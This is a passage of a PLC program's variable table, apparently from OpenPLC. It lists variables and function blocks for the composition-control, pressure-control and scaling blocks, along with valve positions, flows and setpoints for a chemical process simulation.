+73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; 